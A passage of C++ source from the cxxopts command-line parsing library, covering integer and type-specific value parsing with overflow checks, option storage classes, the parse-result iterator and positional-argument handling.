parser_tool::SplitInteger(text);\n\n            using US = typename std::make_unsigned<T>::type;\n            constexpr bool is_signed = std::numeric_limits<T>::is_signed;\n\n            const bool          negative = int_desc.negative.length() > 0;\n            const uint8_t       base = int_desc.base.length() > 0 ? 16 : 10;\n            const std::string& value_match = int_desc.value;\n\n            US result = 0;\n\n            for (char ch : value_match)\n            {\n                US digit = 0;\n\n                if (ch >= '0' && ch <= '9')\n                {\n                    digit = static_cast<US>(ch - '0');\n                }\n                else if (base == 16 && ch >= 'a' && ch <= 'f')\n                {\n                    digit = static_cast<US>(ch - 'a' + 10);\n                }\n                else if (base == 16 && ch >= 'A' && ch <= 'F')\n                {\n                    digit = static_cast<US>(ch - 'A' + 10);\n                }\n                else\n                {\n                    throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                }\n\n                US limit = 0;\n                if (negative)\n                {\n                    limit = static_cast<US>(std::abs(static_cast<intmax_t>((std::numeric_limits<T>::min)())));\n                }\n                else\n                {\n                    limit = (std::numeric_limits<T>::max)();\n                }\n\n                if (base != 0 && result > limit / base)\n                {\n                    throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                }\n                if (result * base > limit - digit)\n                {\n                    throw_or_mimic<exceptions::incorrect_argument_type>(text);\n                }\n\n                result = static_cast<US>(result * base + digit);\n            }\n\n            detail::check_signed_range<T>(negative, result, text);\n\n            if (negative)\n            {\n                checked_negate<T>(value, result, text, std::integral_constant<bool, is_signed>());\n            }\n            else\n            {\n                value = static_cast<T>(result);\n            }\n        }\n\n        template <typename T>\n        void stringstream_parser(const std::string& text, T& value)\n        {\n            std::stringstream in(text);\n            in >> value;\n            if (!in) {\n                throw_or_mimic<exceptions::incorrect_argument_type>(text);\n            }\n        }\n\n        template <typename T,\n            typename std::enable_if<std::is_integral<T>::value>::type* = nullptr\n        >\n        void parse_value(const std::string& text, T& value)\n        {\n            integer_parser(text, value);\n        }\n\n        inline\n            void\n            parse_value(const std::string& text, bool& value)\n        {\n            if (parser_tool::IsTrueText(text))\n            {\n                value = true;\n                return;\n            }\n\n            if (parser_tool::IsFalseText(text))\n            {\n                value = false;\n                return;\n            }\n\n            throw_or_mimic<exceptions::incorrect_argument_type>(text);\n        }\n\n        inline\n            void\n            parse_value(const std::string& text, std::string& value)\n        {\n            value = text;\n        }\n\n        // The fallback parser. It uses the stringstream parser to parse all types\n        // that have not been overloaded explicitly.  It has to be placed in the\n        // source code before all other more specialized templates.\n        template <typename T,\n            typename std::enable_if<!std::is_integral<T>::value>::type* = nullptr\n        >\n        void\n            parse_value(const std::string& text, T& value) {\n            stringstream_parser(text, value);\n        }\n\n#ifdef CXXOPTS_HAS_OPTIONAL\n        template <typename T>\n        void\n            parse_value(const std::string& text, std::optional<T>& value)\n        {\n            T result;\n            parse_value(text, result);\n            value = std::move(result);\n        }\n#endif\n\n        inline\n            void parse_value(const std::string& text, char& c)\n        {\n            if (text.length() != 1)\n            {\n                throw_or_mimic<exceptions::incorrect_argument_type>(text);\n            }\n\n            c = text[0];\n        }\n\n        template <typename T>\n        void\n            parse_value(const std::string& text, std::vector<T>& value)\n        {\n            if (text.empty()) {\n                T v;\n                parse_value(text, v);\n                value.emplace_back(std::move(v));\n                return;\n            }\n            std::stringstream in(text);\n            std::string token;\n            while (!in.eof() && std::getline(in, token, CXXOPTS_VECTOR_DELIMITER)) {\n                T v;\n                parse_value(token, v);\n                value.emplace_back(std::move(v));\n            }\n        }\n\n        template <typename T>\n        void\n            add_value(const std::string& text, T& value)\n        {\n            parse_value(text, value);\n        }\n\n        template <typename T>\n        void\n            add_value(const std::string& text, std::vector<T>& value)\n        {\n            T v;\n            add_value(text, v);\n            value.emplace_back(std::move(v));\n        }\n\n        template <typename T>\n        struct type_is_container\n        {\n            static constexpr bool value = false;\n        };\n\n        template <typename T>\n        struct type_is_container<std::vector<T>>\n        {\n            static constexpr bool value = true;\n        };\n\n        template <typename T>\n        class abstract_value : public Value\n        {\n            using Self = abstract_value<T>;\n\n        public:\n            abstract_value()\n                : m_result(std::make_shared<T>())\n                , m_store(m_result.get())\n            {\n            }\n\n            explicit abstract_value(T* t)\n                : m_store(t)\n            {\n            }\n\n            ~abstract_value() override = default;\n\n            abstract_value& operator=(const abstract_value&) = default;\n\n            abstract_value(const abstract_value& rhs)\n            {\n                if (rhs.m_result)\n                {\n                    m_result = std::make_shared<T>();\n                    m_store = m_result.get();\n                }\n                else\n                {\n                    m_store = rhs.m_store;\n                }\n\n                m_default = rhs.m_default;\n                m_implicit = rhs.m_implicit;\n                m_default_value = rhs.m_default_value;\n                m_implicit_value = rhs.m_implicit_value;\n            }\n\n            void\n                add(const std::string& text) const override\n            {\n                add_value(text, *m_store);\n            }\n\n            void\n                parse(const std::string& text) const override\n            {\n                parse_value(text, *m_store);\n            }\n\n            bool\n                is_container() const override\n            {\n                return type_is_container<T>::value;\n            }\n\n            void\n                parse() const override\n            {\n                parse_value(m_default_value, *m_store);\n            }\n\n            bool\n                has_default() const override\n            {\n                return m_default;\n            }\n\n            bool\n                has_implicit() const override\n            {\n                return m_implicit;\n            }\n\n            std::shared_ptr<Value>\n                default_value(const std::string& value) override\n            {\n                m_default = true;\n                m_default_value = value;\n                return shared_from_this();\n            }\n\n            std::shared_ptr<Value>\n                implicit_value(const std::string& value) override\n            {\n                m_implicit = true;\n                m_implicit_value = value;\n                return shared_from_this();\n            }\n\n            std::shared_ptr<Value>\n                no_implicit_value() override\n            {\n                m_implicit = false;\n                return shared_from_this();\n            }\n\n            std::string\n                get_default_value() const override\n            {\n                return m_default_value;\n            }\n\n            std::string\n                get_implicit_value() const override\n            {\n                return m_implicit_value;\n            }\n\n            bool\n                is_boolean() const override\n            {\n                return std::is_same<T, bool>::value;\n            }\n\n            const T&\n                get() const\n            {\n                if (m_store == nullptr)\n                {\n                    return *m_result;\n                }\n                return *m_store;\n            }\n\n        protected:\n            std::shared_ptr<T> m_result{};\n            T* m_store{};\n\n            bool m_default = false;\n            bool m_implicit = false;\n\n            std::string m_default_value{};\n            std::string m_implicit_value{};\n        };\n\n        template <typename T>\n        class standard_value : public abstract_value<T>\n        {\n        public:\n            using abstract_value<T>::abstract_value;\n\n            CXXOPTS_NODISCARD\n                std::shared_ptr<Value>\n                clone() const override\n            {\n                return std::make_shared<standard_value<T>>(*this);\n            }\n        };\n\n        template <>\n        class standard_value<bool> : public abstract_value<bool>\n        {\n        public:\n            ~standard_value() override = default;\n\n            standard_value()\n            {\n                set_default_and_implicit();\n            }\n\n            explicit standard_value(bool* b)\n                : abstract_value(b)\n            {\n                m_implicit = true;\n                m_implicit_value = \"true\";\n            }\n\n            std::shared_ptr<Value>\n                clone() const override\n            {\n                return std::make_shared<standard_value<bool>>(*this);\n            }\n\n        private:\n\n            void\n                set_default_and_implicit()\n            {\n                m_default = true;\n                m_default_value = \"false\";\n                m_implicit = true;\n                m_implicit_value = \"true\";\n            }\n        };\n\n    } // namespace values\n\n    template <typename T>\n    std::shared_ptr<Value>\n        value()\n    {\n        return std::make_shared<values::standard_value<T>>();\n    }\n\n    template <typename T>\n    std::shared_ptr<Value>\n        value(T& t)\n    {\n        return std::make_shared<values::standard_value<T>>(&t);\n    }\n\n    class OptionAdder;\n\n    CXXOPTS_NODISCARD\n        inline\n        const std::string&\n        first_or_empty(const OptionNames& long_names)\n    {\n        static const std::string empty{ \"\" };\n        return long_names.empty() ? empty : long_names.front();\n    }\n\n    class OptionDetails\n    {\n    public:\n        OptionDetails\n        (\n            std::string short_,\n            OptionNames long_,\n            String desc,\n            std::shared_ptr<const Value> val\n        )\n            : m_short(std::move(short_))\n            , m_long(std::move(long_))\n            , m_desc(std::move(desc))\n            , m_value(std::move(val))\n            , m_count(0)\n        {\n            m_hash = std::hash<std::string>{}(first_long_name() + m_short);\n        }\n\n        OptionDetails(const OptionDetails& rhs)\n            : m_desc(rhs.m_desc)\n            , m_value(rhs.m_value->clone())\n            , m_count(rhs.m_count)\n        {\n        }\n\n        OptionDetails(OptionDetails&& rhs) = default;\n\n        CXXOPTS_NODISCARD\n            const String&\n            description() const\n        {\n            return m_desc;\n        }\n\n        CXXOPTS_NODISCARD\n            const Value&\n            value() const {\n            return *m_value;\n        }\n\n        CXXOPTS_NODISCARD\n            std::shared_ptr<Value>\n            make_storage() const\n        {\n            return m_value->clone();\n        }\n\n        CXXOPTS_NODISCARD\n            const std::string&\n            short_name() const\n        {\n            return m_short;\n        }\n\n        CXXOPTS_NODISCARD\n            const std::string&\n            first_long_name() const\n        {\n            return first_or_empty(m_long);\n        }\n\n        CXXOPTS_NODISCARD\n            const std::string&\n            essential_name() const\n        {\n            return m_long.empty() ? m_short : m_long.front();\n        }\n\n        CXXOPTS_NODISCARD\n            const OptionNames&\n            long_names() const\n        {\n            return m_long;\n        }\n\n        std::size_t\n            hash() const\n        {\n            return m_hash;\n        }\n\n    private:\n        std::string m_short{};\n        OptionNames m_long{};\n        String m_desc{};\n        std::shared_ptr<const Value> m_value{};\n        int m_count;\n\n        std::size_t m_hash{};\n    };\n\n    struct HelpOptionDetails\n    {\n        std::string s;\n        OptionNames l;\n        String desc;\n        bool has_default;\n        std::string default_value;\n        bool has_implicit;\n        std::string implicit_value;\n        std::string arg_help;\n        bool is_container;\n        bool is_boolean;\n    };\n\n    struct HelpGroupDetails\n    {\n        std::string name{};\n        std::string description{};\n        std::vector<HelpOptionDetails> options{};\n    };\n\n    class OptionValue\n    {\n    public:\n        void\n            add\n            (\n                const std::shared_ptr<const OptionDetails>& details,\n                const std::string& text\n            )\n        {\n            ensure_value(details);\n            ++m_count;\n            m_value->add(text);\n            m_long_names = &details->long_names();\n        }\n\n        void\n            parse\n            (\n                const std::shared_ptr<const OptionDetails>& details,\n                const std::string& text\n            )\n        {\n            ensure_value(details);\n            ++m_count;\n            m_value->parse(text);\n            m_long_names = &details->long_names();\n        }\n\n        void\n            parse_default(const std::shared_ptr<const OptionDetails>& details)\n        {\n            ensure_value(details);\n            m_default = true;\n            m_long_names = &details->long_names();\n            m_value->parse();\n        }\n\n        void\n            parse_no_value(const std::shared_ptr<const OptionDetails>& details)\n        {\n            m_long_names = &details->long_names();\n        }\n\n#if defined(CXXOPTS_NULL_DEREF_IGNORE)\n        CXXOPTS_DIAGNOSTIC_PUSH\n            CXXOPTS_IGNORE_WARNING(\"-Wnull-dereference\")\n#endif\n\n            CXXOPTS_NODISCARD\n            std::size_t\n            count() const noexcept\n        {\n            return m_count;\n        }\n\n#if defined(CXXOPTS_NULL_DEREF_IGNORE)\n        CXXOPTS_DIAGNOSTIC_POP\n#endif\n\n            // TODO: maybe default options should count towards the number of arguments\n            CXXOPTS_NODISCARD\n            bool\n            has_default() const noexcept\n        {\n            return m_default;\n        }\n\n        template <typename T>\n        const T&\n            as() const\n        {\n            if (m_value == nullptr) {\n                throw_or_mimic<exceptions::option_has_no_value>(\n                    m_long_names == nullptr ? \"\" : first_or_empty(*m_long_names));\n            }\n\n            return CXXOPTS_RTTI_CAST<const values::standard_value<T>&>(*m_value).get();\n        }\n\n#ifdef CXXOPTS_HAS_OPTIONAL\n        template <typename T>\n        std::optional<T>\n            as_optional() const\n        {\n            if (m_value == nullptr) {\n                return std::nullopt;\n            }\n            return as<T>();\n        }\n#endif\n\n    private:\n        void\n            ensure_value(const std::shared_ptr<const OptionDetails>& details)\n        {\n            if (m_value == nullptr)\n            {\n                m_value = details->make_storage();\n            }\n        }\n\n\n        const OptionNames* m_long_names = nullptr;\n        // Holding this pointer is safe, since OptionValue's only exist in key-value pairs,\n        // where the key has the string we point to.\n        std::shared_ptr<Value> m_value{};\n        std::size_t m_count = 0;\n        bool m_default = false;\n    };\n\n    class KeyValue\n    {\n    public:\n        KeyValue(std::string key_, std::string value_) noexcept\n            : m_key(std::move(key_))\n            , m_value(std::move(value_))\n        {\n        }\n\n        CXXOPTS_NODISCARD\n            const std::string&\n            key() const\n        {\n            return m_key;\n        }\n\n        CXXOPTS_NODISCARD\n            const std::string&\n            value() const\n        {\n            return m_value;\n        }\n\n        template <typename T>\n        T\n            as() const\n        {\n            T result;\n            values::parse_value(m_value, result);\n            return result;\n        }\n\n    private:\n        std::string m_key;\n        std::string m_value;\n    };\n\n    using ParsedHashMap = std::unordered_map<std::size_t, OptionValue>;\n    using NameHashMap = std::unordered_map<std::string, std::size_t>;\n\n    class ParseResult\n    {\n    public:\n        class Iterator\n        {\n        public:\n            using iterator_category = std::forward_iterator_tag;\n            using value_type = KeyValue;\n            using difference_type = void;\n            using pointer = const KeyValue*;\n            using reference = const KeyValue&;\n\n            Iterator() = default;\n            Iterator(const Iterator&) = default;\n\n            // GCC complains about m_iter not being initialised in the member\n            // initializer list\n            CXXOPTS_DIAGNOSTIC_PUSH\n                CXXOPTS_IGNORE_WARNING(\"-Weffc++\")\n                Iterator(const ParseResult* pr, bool end = false)\n                : m_pr(pr)\n            {\n                if (end)\n                {\n                    m_sequential = false;\n                    m_iter = m_pr->m_defaults.end();\n                }\n                else\n                {\n                    m_sequential = true;\n                    m_iter = m_pr->m_sequential.begin();\n\n                    if (m_iter == m_pr->m_sequential.end())\n                    {\n                        m_sequential = false;\n                        m_iter = m_pr->m_defaults.begin();\n                    }\n                }\n            }\n            CXXOPTS_DIAGNOSTIC_POP\n\n                Iterator& operator++()\n            {\n                ++m_iter;\n                if (m_sequential && m_iter == m_pr->m_sequential.end())\n                {\n                    m_sequential = false;\n                    m_iter = m_pr->m_defaults.begin();\n                    return *this;\n                }\n                return *this;\n            }\n\n            Iterator operator++(int)\n            {\n                Iterator retval = *this;\n                ++(*this);\n                return retval;\n            }\n\n            bool operator==(const Iterator& other) const\n            {\n                return (m_sequential == other.m_sequential) && (m_iter == other.m_iter);\n            }\n\n            bool operator!=(const Iterator& other) const\n            {\n                return !(*this == other);\n            }\n\n            const KeyValue& operator*()\n            {\n                return *m_iter;\n            }\n\n            const KeyValue* operator->()\n            {\n                return m_iter.operator->();\n            }\n\n        private:\n            const ParseResult* m_pr;\n            std::vector<KeyValue>::const_iterator m_iter;\n            bool m_sequential = true;\n        };\n\n        ParseResult() = default;\n        ParseResult(const ParseResult&) = default;\n\n        ParseResult(NameHashMap&& keys, ParsedHashMap&& values, std::vector<KeyValue> sequential,\n            std::vector<KeyValue> default_opts, std::vector<std::string>&& unmatched_args)\n            : m_keys(std::move(keys))\n            , m_values(std::move(values))\n            , m_sequential(std::move(sequential))\n            , m_defaults(std::move(default_opts))\n            , m_unmatched(std::move(unmatched_args))\n        {\n        }\n\n        ParseResult& operator=(ParseResult&&) = default;\n        ParseResult& operator=(const ParseResult&) = default;\n\n        Iterator\n            begin() const\n        {\n            return Iterator(this);\n        }\n\n        Iterator\n            end() const\n        {\n            return Iterator(this, true);\n        }\n\n        std::size_t\n            count(const std::string& o) const\n        {\n            auto iter = m_keys.find(o);\n            if (iter == m_keys.end())\n            {\n                return 0;\n            }\n\n            auto viter = m_values.find(iter->second);\n\n            if (viter == m_values.end())\n            {\n                return 0;\n            }\n\n            return viter->second.count();\n        }\n\n        const OptionValue&\n            operator[](const std::string& option) const\n        {\n            auto iter = m_keys.find(option);\n\n            if (iter == m_keys.end())\n            {\n                throw_or_mimic<exceptions::requested_option_not_present>(option);\n            }\n\n            auto viter = m_values.find(iter->second);\n\n            if (viter == m_values.end())\n            {\n                throw_or_mimic<exceptions::requested_option_not_present>(option);\n            }\n\n            return viter->second;\n        }\n\n#ifdef CXXOPTS_HAS_OPTIONAL\n        template <typename T>\n        std::optional<T>\n            as_optional(const std::string& option) const\n        {\n            auto iter = m_keys.find(option);\n            if (iter != m_keys.end())\n            {\n                auto viter = m_values.find(iter->second);\n                if (viter != m_values.end())\n                {\n                    return viter->second.as_optional<T>();\n                }\n            }\n            return std::nullopt;\n        }\n#endif\n\n        const std::vector<KeyValue>&\n            arguments() const\n        {\n            return m_sequential;\n        }\n\n        const std::vector<std::string>&\n            unmatched() const\n        {\n            return m_unmatched;\n        }\n\n        const std::vector<KeyValue>&\n            defaults() const\n        {\n            return m_defaults;\n        }\n\n        const std::string\n            arguments_string() const\n        {\n            std::string result;\n            for (const auto& kv : m_sequential)\n            {\n                result += kv.key() + \" = \" + kv.value() + \"\\n\";\n            }\n            for (const auto& kv : m_defaults)\n            {\n                result += kv.key() + \" = \" + kv.value() + \" \" + \"(default)\" + \"\\n\";\n            }\n            return result;\n        }\n\n    private:\n        NameHashMap m_keys{};\n        ParsedHashMap m_values{};\n        std::vector<KeyValue> m_sequential{};\n        std::vector<KeyValue> m_defaults{};\n        std::vector<std::string> m_unmatched{};\n    };\n\n    struct Option\n    {\n        Option\n        (\n            std::string opts,\n            std::string desc,\n            std::shared_ptr<const Value>  value = ::cxxopts::value<bool>(),\n            std::string arg_help = \"\"\n        )\n            : opts_(std::move(opts))\n            , desc_(std::move(desc))\n            , value_(std::move(value))\n            , arg_help_(std::move(arg_help))\n        {\n        }\n\n        std::string opts_;\n        std::string desc_;\n        std::shared_ptr<const Value> value_;\n        std::string arg_help_;\n    };\n\n    using OptionMap = std::unordered_map<std::string, std::shared_ptr<OptionDetails>>;\n    using PositionalList = std::vector<std::string>;\n    using PositionalListIterator = PositionalList::const_iterator;\n\n    class OptionParser\n    {\n    public:\n        OptionParser(const OptionMap& options, const PositionalList& positional, bool allow_unrecognised)\n            : m_options(options)\n            , m_positional(positional)\n            , m_allow_unrecognised(allow_unrecognised)\n        {\n        }\n\n        ParseResult\n            parse(int argc, const char* const* argv);\n\n        bool\n            consume_positional(const std::string& a, PositionalListIterator& next);\n\n        void\n            checked_parse_arg\n            (\n                int argc,\n                const char* const* argv,\n                int& current,\n                const std::shared_ptr<OptionDetails>& value,\n                const std::string& name\n            );\n\n        void\n            add_to_option(const std::shared_ptr<OptionDetails>& value, const std::string& arg);\n\n        void\n            parse_option\n            (\n                const std::shared_ptr<OptionDetails>& value,\n                const std::string& name,\n                const std::string& arg = \"\"\n            );\n\n        void\n            parse_default(const std::shared_ptr<OptionDetails>& details);\n\n        void\n            parse_no_value(const std::shared_ptr<OptionDetails>& details);\n\n    private:\n\n        void finalise_aliases();\n\n        const OptionMap& m_options;\n        const PositionalList& m_positional;\n\n        std::vector<KeyValue> m_sequential{};\n        std::vector<KeyValue> m_defaults{};\n        bool m_allow_unrecognised;\n\n        ParsedHashMap m_parsed{};\n        NameHashMap m_keys{};\n    };\n\n    class Options\n    {\n    public:\n\n        explicit Options(std::string program_name, std::string help_string = \"\")\n            : m_program(std::move(program_name))\n            , m_help_string(toLocalString(std::move(help_string)))\n            , m_custom_help(\"[OPTION...]\")\n            , m_positional_help(\"positional parameters\")\n            , m_show_positional(false)\n            , m_allow_unrecognised(false)\n            , m_width(76)\n            , m_tab_expansion(false)\n            , m_options(std::make_shared<OptionMap>())\n        {\n        }\n\n        Options&\n            positional_help(std::string help_text)\n        {\n            m_positional_help = std::move(help_text);\n            return *this;\n        }\n\n        Options&\n            custom_help(std::string help_text)\n        {\n            m_custom_help = std::move(help_text);\n            return *this;\n        }\n\n        Options&\n            show_positional_help()\n        {\n            m_show_positional = true;\n            return *this;\n        }\n\n        Options&\n            allow_unrecognised_options()\n        {\n            m_allow_unrecognised = true;\n            return *this;\n        }\n\n        Options&\n            set_width(std::size_t width)\n        {\n            m_width = width;\n            return *this;\n        }\n\n        Options&\n            set_tab_expansion(bool expansion = true)\n        {\n            m_tab_expansion = expansion;\n            return *this;\n        }\n\n        ParseResult\n            parse(int argc, const char* const* argv);\n\n        OptionAdder\n            add_options(std::string group = \"\");\n\n        void\n            add_options\n            (\n                const std::string& group,\n                std::initializer_list<Option> options\n            );\n\n        void\n            add_option\n            (\n                const std::string& group,\n                const Option& option\n            );\n\n        void\n            add_option\n            (\n                const std::string& group,\n                const std::string& s,\n                const OptionNames& l,\n                std::string desc,\n                const std::shared_ptr<const Value>& value,\n                std::string arg_help\n            );\n\n        void\n            add_option\n            (\n                const std::string& group,\n                const std::string& short_name,\n                const std::string& single_long_name,\n                std::string desc,\n                const std::shared_ptr<const Value>& value,\n                std::string arg_help\n            )\n        {\n            OptionNames long_names;\n            long_names.emplace_back(single_long_name);\n            add_option(group, short_name, long_names, desc, value, arg_help);\n        }\n\n        //parse positional arguments into the given option\n        void\n            parse_positional(std::string option);\n\n        void\n            parse_positional(std::vector<std::string> options);\n\n        void\n            parse_positional(std::initializer_list<std::string> options);\n\n        template <typename Iterator>\n        void\n            parse_positional(Iterator begin, Iterator end) {\n            parse_positional(std::vector<std::string>{begin, end});\n        }\n\n        std::string\n            help(const std::vector<std::string>& groups = {}, bool print_usage = true) const;\n\n        std::vector<std::string>\n            groups() const;\n\n        const HelpGroupDetails&\n            group_help(const std::string& group) const;\n\n        const std::string& program() const\n        {\n            return m_program;\n        }\n\n    private:\n\n        void\n            add_one_option\n            (\n                const std::string& option,\n                const std::shared_ptr<OptionDetails>& details\n            );\n\n        String\n            help_one_group(const std::string& group) const;\n\n        void\n            generate_group_help\n            (\n                String& result,\n                const std::vector<std::string>& groups\n            ) const;\n\n        void\n            generate_all_groups_help(String& result) const;\n\n        std::string m_program{};\n        String m_help_string{};\n        std::string m_custom_help{};\n        std::string m_positional_help{};\n        bool m_show_positional;\n        bool m_allow_unrecognised;\n        std::size_t m_width;\n        bool m_tab_expansion;\n\n        std::shared_ptr<OptionMap> m_options;\n        std::vector<std::string> m_positional{};\n        std::unordered_set<std::string> m_positional_set{};\n\n        //mapping from groups to help options\n        std::vector<std::string> m_group{};\n        std::map<std::string, HelpGroupDetails> m_help{};\n    };\n\n    class OptionAdder\n    {\n    public:\n\n        OptionAdder(Options& options, std::string group)\n            : m_options(options), m_group(std::move(group))\n        {\n        }\n\n        OptionAdder&\n            operator()\n            (\n                const std::string& opts,\n                const std::string& desc,\n                const std::shared_ptr<const Value>& value\n                = ::cxxopts::value<bool>(),\n                std::string arg_help = \"\"\n                );\n\n    private:\n        Options& m_options;\n        std::string m_group;\n    };\n\n    namespace {\n        constexpr std::size_t OPTION_LONGEST = 30;\n        constexpr std::size_t OPTION_DESC_GAP = 2;\n\n        String\n            format_option\n            (\n                const HelpOptionDetails& o\n            )\n        {\n            const auto& s = o.s;\n            const auto& l = first_or_empty(o.l);\n\n            String result = \"  \";\n\n            if (!s.empty())\n            {\n                result += \"-\" + toLocalString(s);\n                if (!l.empty())\n                {\n                    result += \",\";\n                }\n            }\n            else\n            {\n                result += \"   \";\n            }\n\n            if (!l.empty())\n            {\n                result += \" --\" + toLocalString(l);\n            }\n\n            auto arg = !o.arg_help.empty() ? toLocalString(o.arg_help) : \"arg\";\n\n            if (!o.is_boolean)\n            {\n                if (o.has_implicit)\n                {\n                    result += \" [=\" + arg + \"(=\" + toLocalString(o.implicit_value) + \")]\";\n                }\n                else\n                {\n                    result += \" \" + arg;\n                }\n            }\n\n            return result;\n        }\n\n        String\n            format_description\n            (\n                const HelpOptionDetails& o,\n                std::size_t start,\n                std::size_t allowed,\n                bool tab_expansion\n            )\n        {\n            auto desc = o.desc;\n\n            if (o.has_default && (!o.is_boolean || o.default_value != \"false\"))\n            {\n                if (!o.default_value.empty())\n                {\n                    desc += toLocalString(\" (default: \" + o.default_value + \")\");\n                }\n                else\n                {\n                    desc += toLocalString(\" (default: \\\"\\\")\");\n                }\n            }\n\n            String result;\n\n            if (tab_expansion)\n            {\n                String desc2;\n                auto size = std::size_t{ 0 };\n                for (auto c = std::begin(desc); c != std::end(desc); ++c)\n                {\n                    if (*c == '\\n')\n                    {\n                        desc2 += *c;\n                        size = 0;\n                    }\n                    else if (*c == '\\t')\n                    {\n                        auto skip = 8 - size % 8;\n                        stringAppend(desc2, skip, ' ');\n                        size += skip;\n                    }\n                    else\n                    {\n                        desc2 += *c;\n                        ++size;\n                    }\n                }\n                desc = desc2;\n            }\n\n            desc += \" \";\n\n            auto current = std::begin(desc);\n            auto previous = current;\n            auto startLine = current;\n            auto lastSpace = current;\n\n            auto size = std::size_t{};\n\n            bool appendNewLine;\n            bool onlyWhiteSpace = true;\n\n            while (current != std::end(desc))\n            {\n                appendNewLine = false;\n                if (*previous == ' ' || *previous == '\\t')\n                {\n                    lastSpace = current;\n                }\n                if (*current != ' ' && *current != '\\t')\n                {\n                    onlyWhiteSpace = false;\n                }\n\n                while (*current == '\\n')\n                {\n                    previous = current;\n                    ++current;\n                    appendNewLine = true;\n                }\n\n                if (!appendNewLine && size >= allowed)\n                {\n                    if (lastSpace != startLine)\n                    {\n                        current = lastSpace;\n                        previous = current;\n                    }\n                    appendNewLine = true;\n                }\n\n                if (appendNewLine)\n                {\n                    stringAppend(result, startLine, current);\n                    startLine = current;\n                    lastSpace = current;\n\n                    if (*previous != '\\n')\n                    {\n                        stringAppend(result, \"\\n\");\n                    }\n\n                    stringAppend(result, start, ' ');\n\n                    if (*previous != '\\n')\n                    {\n                        stringAppend(result, lastSpace, current);\n                    }\n\n                    onlyWhiteSpace = true;\n                    size = 0;\n                }\n\n                previous = current;\n                ++current;\n                ++size;\n            }\n\n            //append whatever is left but ignore whitespace\n            if (!onlyWhiteSpace)\n            {\n                stringAppend(result, startLine, previous);\n            }\n\n            return result;\n        }\n\n    } // namespace\n\n    inline\n        void\n        Options::add_options\n        (\n            const std::string& group,\n            std::initializer_list<Option> options\n        )\n    {\n        OptionAdder option_adder(*this, group);\n        for (const auto& option : options)\n        {\n            option_adder(option.opts_, option.desc_, option.value_, option.arg_help_);\n        }\n    }\n\n    inline\n        OptionAdder\n        Options::add_options(std::string group)\n    {\n        return OptionAdder(*this, std::move(group));\n    }\n\n    inline\n        OptionAdder&\n        OptionAdder::operator()\n        (\n            const std::string& opts,\n            const std::string& desc,\n            const std::shared_ptr<const Value>& value,\n            std::string arg_help\n            )\n    {\n        OptionNames option_names = values::parser_tool::split_option_names(opts);\n        // Note: All names will be non-empty; but we must separate the short\n        // (length-1) and longer names\n        std::string short_name{ \"\" };\n        auto first_short_name_iter =\n            std::partition(option_names.begin(), option_names.end(),\n                [&](const std::string& name) { return name.length() > 1; }\n        );\n        auto num_length_1_names = (option_names.end() - first_short_name_iter);\n        switch (num_length_1_names) {\n        case 1:\n            short_name = *first_short_name_iter;\n            option_names.erase(first_short_name_iter);\n            CXXOPTS_FALLTHROUGH;\n        case 0:\n            break;\n        default:\n            throw_or_mimic<exceptions::invalid_option_format>(opts);\n        };\n\n        m_options.add_option\n        (\n            m_group,\n            short_name,\n            option_names,\n            desc,\n            value,\n            std::move(arg_help)\n        );\n\n        return *this;\n    }\n\n    inline\n        void\n        OptionParser::parse_default(const std::shared_ptr<OptionDetails>& details)\n    {\n        // TODO: remove the duplicate code here\n        auto& store = m_parsed[details->hash()];\n        store.parse_default(details);\n        m_defaults.emplace_back(details->essential_name(), details->value().get_default_value());\n    }\n\n    inline\n        void\n        OptionParser::parse_no_value(const std::shared_ptr<OptionDetails>& details)\n    {\n        auto& store = m_parsed[details->hash()];\n        store.parse_no_value(details);\n    }\n\n    inline\n        void\n        OptionParser::parse_option\n        (\n            const std::shared_ptr<OptionDetails>& value,\n            const std::string& /*name*/,\n            const std::string& arg\n        )\n    {\n        auto hash = value->hash();\n        auto& result = m_parsed[hash];\n        result.parse(value, arg);\n\n        m_sequential.emplace_back(value->essential_name(), arg);\n    }\n\n    inline\n        void\n        OptionParser::checked_parse_arg\n        (\n            int argc,\n            const char* const* argv,\n            int& current,\n            const std::shared_ptr<OptionDetails>& value,\n            const std::string& name\n        )\n    {\n        if (current + 1 >= argc)\n        {\n            if (value->value().has_implicit())\n            {\n                parse_option(value, name, value->value().get_implicit_value());\n            }\n            else\n            {\n                throw_or_mimic<exceptions::missing_argument>(name);\n            }\n        }\n        else\n        {\n            if (value->value().has_implicit())\n            {\n                parse_option(value, name, value->value().get_implicit_value());\n            }\n            else\n            {\n                parse_option(value, name, argv[current + 1]);\n                ++current;\n            }\n        }\n    }\n\n    inline\n        void\n        OptionParser::add_to_option(const std::shared_ptr<OptionDetails>& value, const std::string& arg)\n    {\n        auto hash = value->hash();\n        auto& result = m_parsed[hash];\n        result.add(value, arg);\n\n        m_sequential.emplace_back(value->essential_name(), arg);\n    }\n\n    inline\n        bool\n        OptionParser::consume_positional(const std::string& a, PositionalListIterator& next)\n    {\n        while (next != m_positional.end())\n        {\n            auto iter = m_options.find(*next);\n            if (iter != m_options.end())\n            {\n                if (!iter->second->value().is_container())\n                {\n                    auto& result = m_parsed[iter->second->hash()];\n                    if (result.count() == 0)\n                    {\n                        add_to_option(iter->second, a);\n                        ++next;\n                        return true;\n                    }\n                    ++next;\n                    continue;\n                }\n                add_to_option(iter->second, a);\n                return true;\n            }\n            throw_or_mimic<exceptions::no_such_option>(*next);\n        }\n\n        return false;\n    }\n\n    inline\n        void\n        Options::parse_positional(std::string option)\n    {\n        parse_positional(std::vector<std::string>{std::move(option)});\n    }\n\n    inline\n        void\n        Options::parse_positional(std::vector<std::string> options)\n    {\n        m_positional = std::move(options);\n\n        m_positional_set.insert(m_positional.begin(), m_positional.end());\n    }\n\n    inline\n        void\n        Options::parse_positional(std::initializer_list<std::string> options)\n    {\n        parse_positional(std::vector<std::string>(options));\n    }\n\n    inline\n        ParseResult\n        Options::parse(int argc, const char* const* argv)\n    {\n        OptionParser parser(*m_options, m_positional, m_allow_unrecognised);\n\n        return parser.parse(argc, argv);\n    }\n\n    inline ParseResult\n        OptionParser::parse(int argc, const char* const* argv)\n    {\n        int current = 1;\n        bool consume_remaining = false;\n        auto next_positional = m_positional.begin();\n\n        std::vector<std::string> unmatched;\n\n        while (current != argc)\n        {\n            if (strcmp(argv[current], \"--\") == 0)\n            {\n                consume_remaining = true;\n                ++current;\n                break;\n            }\n            bool matched = false;\n            values::parser_tool::ArguDesc argu_desc =\n                values::parser_tool::ParseArgument(argv[current], matched);\n\n            if (!matched)\n            {\n                